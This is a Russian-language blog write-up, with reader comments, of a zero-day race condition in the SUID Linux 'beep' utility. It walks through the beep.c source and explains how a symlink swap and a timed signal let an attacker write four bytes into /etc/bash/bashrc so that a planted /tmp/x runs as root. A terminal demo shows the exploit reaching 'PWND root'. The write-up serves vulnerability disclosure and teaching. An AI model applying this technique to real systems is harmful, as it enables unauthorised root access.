В былые времена люди использовали \a для генерирования неприятных «гудков» из спикеров системных блоков. Это было особенно неудобно, если хотелось генерировать более сложные звуковые последовательности вроде 8-битной музыки. Поэтому Джонатан Найтингейл написал программу beep. Это была коротенькая и очень простая программа, позволявшая тонко настраивать звучание из спикера.

С появлением X-сервера всё стало куда сложнее.

Чтобы beep могла работать, пользователь должен был либо быть суперпользователем, либо являться владельцем текущего tty. То есть beep всегда будет работать у root-пользователя или у любого локального, но не будет работать у не-root удалённого пользователя. При этом любой терминал (например, xterm), подключённый к X-серверу, считается «удалённым», и поэтому beep работать не будет.

Многие пользователи (и дистрибутивы) решают проблему с помощью бита SUID. Это специальный бит, если задать его для бинарника, то файл исполняется с правами владельца (в данном случае root), а не обычного пользователя (вашими).

Сегодня этот бит используется широко, в основном ради удобства. Например, для работы poweroff нужны root-привилегии (только root-пользователь может выключить компьютер), но для персонального компьютера это было бы слишком. Представьте, что вы сисадмин, и все пользователи в компании просят вас выключать им компьютеры. С другой стороны, если один злоумышленник может выключить сервер с большим количеством пользователей, это серьёзная брешь в безопасности.

Конечно, все программы, использующие SUID — потенциальные бреши. Возьмите тот же bash, бесплатную root-оболочку. Поэтому такие программы очень тщательно анализируются сообществом.

Вы можете подумать, что программу вроде beep, состоящую всего из 375 строк кода, просмотренную кучей народа, можно ставить без опаски, несмотря на SUID, верно?

Вовсе нет!

Разбираемся в коде


Давайте посмотрим исходный код beep, он лежит здесь: https://github.com/johnath/beep/blob/master/beep.c.

Главная функция задаёт обработчики сигналов, парсит аргументы, и для каждого запрошенного звука вызывает play_beep().

int main(int argc, char **argv) {

  /* ... */

  signal(SIGINT, handle_signal);
  signal(SIGTERM, handle_signal);
  parse_command_line(argc, argv, parms);

  while(parms) {
    beep_parms_t *next = parms->next;

    if(parms->stdin_beep) {
      /* ... */
    } else {
      play_beep(*parms);
    }

    /* Junk each parms struct after playing it */
    free(parms);
    parms = next;
  }

  if(console_device)
    free(console_device);

  return EXIT_SUCCESS;
}

В свою очередь, play_beep() открывает целевое устройство, ищет его типы и для каждого повтора вызывает do_beep().

void play_beep(beep_parms_t parms) {

  /* ... */

  /* try to snag the console */
  if(console_device)
    console_fd = open(console_device, O_WRONLY);
  else
    if((console_fd = open("/dev/tty0", O_WRONLY)) == -1)
      console_fd = open("/dev/vc/0", O_WRONLY);

  if(console_fd == -1) {
    /* ... */
  }

  if (ioctl(console_fd, EVIOCGSND(0)) != -1)
    console_type = BEEP_TYPE_EVDEV;
  else
    console_type = BEEP_TYPE_CONSOLE;

  /* Beep */
  for (i = 0; i < parms.reps; i++) {                    /* start beep */
    do_beep(parms.freq);
    usleep(1000*parms.length);                          /* wait...    */
    do_beep(0);                                         /* stop beep  */
    if(parms.end_delay || (i+1 < parms.reps))
       usleep(1000*parms.delay);                        /* wait...    */
  }                                                     /* repeat.    */

  close(console_fd);
}

do_beep() просто вызывает нужную функцию для генерирования сигнала в зависимости от целевого устройства:

void do_beep(int freq) {
  int period = (freq != 0 ? (int)(CLOCK_TICK_RATE/freq) : freq);

  if(console_type == BEEP_TYPE_CONSOLE) {
    if(ioctl(console_fd, KIOCSOUND, period) < 0) {
      putchar('\a');  
      perror("ioctl");
    }
  } else {
     /* BEEP_TYPE_EVDEV */
     struct input_event e;

     e.type = EV_SND;
     e.code = SND_TONE;
     e.value = freq;

     if(write(console_fd, &e, sizeof(struct input_event)) < 0) {
       putchar('\a'); /* See above */
       perror("write");
     }
  }
}

Обработчик сигнала устроен просто: он освобождает целевое устройство (char *), и если оно работало, прерывает звук, вызвав do_beep(0).

/* If we get interrupted, it would be nice to not leave the speaker beeping in
   perpetuity. */
void handle_signal(int signum) {

  if(console_device)
    free(console_device);

  switch(signum) {
  case SIGINT:
  case SIGTERM:
    if(console_fd >= 0) {
      /* Kill the sound, quit gracefully */
      do_beep(0);
      close(console_fd);
      exit(signum);
    } else {
      /* Just quit gracefully */
      exit(signum);
    }
  }
}

В первую очередь моё внимание привлекло то, что если SIGINT и SIGTERM отправляются одновременно, есть вероятность дважды вызвать free(). Но я не вижу иных полезных применений кроме падения программы, поскольку после этого console_device уже не будет нигде использоваться.

Чего мы хотели бы добиться в идеале?

Эта функция write() в do_beep() выглядит подходяще. Отлично было бы использовать её для записи в промежуточный файл!

Но эта запись защищена console_type, которая должна быть BEEP_TYPE_EVDEV.

console_type задаётся в play_beep() в зависимости от возвращаемого значения ioctl(). То есть ioctl() должна разрешить быть BEEP_TYPE_EVDEV.

Но мы не можем заставить ioctl() соврать. Если файл не относится к устройству, ioctl() просбоит, device_type не будет BEEP_TYPE_EVDEV, а do_beep() не вызовет write() (вместо этого она использует ioctl(), которая, насколько мне известно, в этом контексте безопасна).

Но у нас есть ещё обработчик сигналов, а сигналы могут генерироваться в любое время!

Состояние гонки


Этот обработчик сигналов вызывает do_beep(). Если в этот момент в console_fd и console_type у нас корректные значения, то мы сможем записать в целевой файл.

Поскольку сигналы могут быть вызваны в любом месте, нужно найти конкретное место, в котором обе переменные не содержат корректных значений.

Помните play_beep()? Вот код:

void play_beep(beep_parms_t parms) {

  /* ... */

  /* try to snag the console */
  if(console_device)
    console_fd = open(console_device, O_WRONLY);
  else
    if((console_fd = open("/dev/tty0", O_WRONLY)) == -1)
      console_fd = open("/dev/vc/0", O_WRONLY);

  if(console_fd == -1) {
    /* ... */
  }

  if (ioctl(console_fd, EVIOCGSND(0)) != -1)
    console_type = BEEP_TYPE_EVDEV;
  else
    console_type = BEEP_TYPE_CONSOLE;

  /* Beep */
  for (i = 0; i < parms.reps; i++) {                    /* start beep */
    do_beep(parms.freq);
    usleep(1000*parms.length);                          /* wait...    */
    do_beep(0);                                         /* stop beep  */
    if(parms.end_delay || (i+1 < parms.reps))
       usleep(1000*parms.delay);                        /* wait...    */
  }                                                     /* repeat.    */

  close(console_fd);
}

Она вызывается при каждом запрошенном beep. Если предыдущий вызов выполнен успешно, console_fd и console_type всё ещё будут иметь свои старые значения.

Это значит, что в небольшом фрагменте кода (с 285 по 293 строку) console_fd имеет новое значение, а console_type — всё ещё имеет старое значение.

Вот оно. Вот наше состояние гонки. Именно в этот момент мы будем запускать обработчика сигналов.

Пишем эксплоит


Написать эксплоит было нелегко. Очень непросто оказалось вычислить нужный момент.
После начала beep нельзя изменить путь к целевому устройству (console_device). Но можно сделать симлинк, сначала ведущий на правильное устройство, а потом на целевой файл.

А раз теперь мы можем писать в этот файл, нужно понять, что писать.

Вызов, позволяющий выполнить запись:

struct input_event e;

e.type = EV_SND;
e.code = SND_TONE;
e.value = freq;

if(write(console_fd, &e, sizeof(struct input_event)) < 0) {
  putchar('\a'); /* See above */
  perror("write");
}

Структура struct input_event определена в linux/input.h:

struct input_event {
        struct timeval time;
        __u16 type;
        __u16 code;
        __s32 value;
};

struct timeval {
        __kernel_time_t         tv_sec;         /* seconds */
        __kernel_suseconds_t    tv_usec;        /* microseconds */
};

// On my system, sizeof(struct timeval) is 16.

Элемент time присвоен не в исходном коде beep, и это первый элемент структуры, так что его значением будут первые байты целевого файла после атаки.

Возможно, мы сможем обмануть стек, чтобы он сохранил нужное значение?

После кучи проб и ошибок я выяснил, что там будет храниться значение параметра -l, а после него — \0. Значение целочисленное, что даёт нам 4 байта.

Четыре байта, которые мы можем записать в любой существующий файл.

Я решил записать /*/x. В скрипте оболочки это приведёт к исполнению программы (заранее сделанной) /tmp/x.

Если атаковать файл /etc/profile или /etc/bash/bashrc, то мы добьёмся полного успеха при любом залогиненном пользователе.

Для автоматизации атаки я написал маленький скрипт на Python (лежит здесь: https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8). Он назначает симлинк, ведущий на /dev/input/event0, запускает beep, ждёт немного, переназначает ссылку, снова ждёт, а затем генерирует сигнал.

$ echo 'echo PWND $(whoami)' > /tmp/x 
$ ./exploit.py /etc/bash/bashrc # Or any shell script
Backup made at '/etc/bash/bashrc.bak'
Done!
$ su
PWND root

Мне встречались решения, использующие cron-задачи. Такой подход выглядит лучше, поскольку не требует root-входа, но у меня не было возможности протестировать.

Заключение


Это был мой первый эксплоит нулевого дня.

В начале было довольно трудно найти утечку. Пришлось анализировать снова и снова, пока не придумал решение.

Я узнал, что обработка сигналов гораздо сложнее, чем мне казалось, особенно потому, что нужно избегать не-реентерабельные функции, и что запрещены практически все функции из библиотеки С.

Комментарии (6)


  1. utoplenick
    24.04.2018 12:02
    +1

    Но можно сделать символьную ссылку, сначала ведущую на правильное устройство, а потом на целевой файл.

    И каким же это образом это у Вас получится без root прав?


    1. rkfg
      24.04.2018 12:17

      В /tmp можно создать или в любом ином месте. Параметр -e позволяет задавать путь к файлу-устройству.


      1. utoplenick
        24.04.2018 12:24

        Извиняюсь, невнимательно прочел.


        1. rkfg
          24.04.2018 12:30

          А в статье это прямым текстом и не говорится, насколько я вижу, надо бы добавить.


  1. lostmsu
    24.04.2018 17:46

    А почему баш упомянут в абзаце про SUID? Он что, тоже?! =О


    1. AMorgun
      25.04.2018 00:15
      -1

      Нет, это было бы слишком тупо